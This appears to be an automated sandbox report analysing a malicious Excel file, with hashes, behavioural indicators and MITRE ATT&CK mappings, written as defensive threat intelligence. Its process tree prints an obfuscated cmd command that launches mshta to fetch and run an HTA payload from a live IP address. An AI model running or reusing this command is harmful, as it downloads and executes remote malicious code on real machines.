4db794a721dd54a9fa47ab0bff20d7cb444a27e0fdfdc993b39025a502391d03

Analysis

max time kernel
61s
max time network
19s
platform
windows7_x64
resource
win7-20241010-en
resource tags

arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
submitted
20/11/2024, 14:15

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General

Target

4db794a721dd54a9fa47ab0bff20d7cb444a27e0fdfdc993b39025a502391d03.xls
Size

62KB
MD5

01a1974343a2c9a2ef881199844f0aa1
SHA1

eb2d80f4d9f48d91483010f2ea166358600f1578
SHA256

4db794a721dd54a9fa47ab0bff20d7cb444a27e0fdfdc993b39025a502391d03
SHA512

2e146dc12ac0683662059474f5b6a461ce8ebca1bdf444cd8373f5d73d970fa9c2fd9283cf5c50879fce5727c8f62371df2af472e9def648088e526851f10e2b
SSDEEP

1536:8URk3hbdlylKsgqopeJBWhZFGkE+cL2NdAKNzMk9B+oo1zMk9A+oos:8Mk3hbdlylKsgqopeJBWhZFGkE+cL2N0

Score

10^/10

discovery

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://87.251.86.178/pp/cc.html

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	2300	2104	cmd.exe	28

Blocklisted process makes network request 2 IoCs

flow	pid	Process
4	2556	mshta.exe
5	2556	mshta.exe

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe

Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2104	EXCEL.EXE

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
2104	EXCEL.EXE
2104	EXCEL.EXE
2104	EXCEL.EXE

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2104 wrote to memory of 2300	2104	EXCEL.EXE	29
PID 2104 wrote to memory of 2300	2104	EXCEL.EXE	29
PID 2104 wrote to memory of 2300	2104	EXCEL.EXE	29
PID 2104 wrote to memory of 2300	2104	EXCEL.EXE	29
PID 2300 wrote to memory of 2556	2300	cmd.exe	31
PID 2300 wrote to memory of 2556	2300	cmd.exe	31
PID 2300 wrote to memory of 2556	2300	cmd.exe	31
PID 2300 wrote to memory of 2556	2300	cmd.exe	31

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\4db794a721dd54a9fa47ab0bff20d7cb444a27e0fdfdc993b39025a502391d03.xls
1⤵
- System Location Discovery: System Language Discovery
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2104
- C:\Windows\SysWOW64\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/87.251.86.178/pp/cc.html
  2⤵
  - Process spawned unexpected child process
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2300
- - C:\Windows\SysWOW64\mshta.exe
    mshta http://87.251.86.178/pp/cc.html
    3⤵
    - Blocklisted process makes network request
    - System Location Discovery: System Language Discovery
    - Modifies Internet Explorer settings
    PID:2556

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2104-1-0x0000000073E5D000-0x0000000073E68000-memory.dmp

Filesize
44KB

Download
memory/2104-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/2104-11-0x0000000073E5D000-0x0000000073E68000-memory.dmp

Filesize
44KB

Download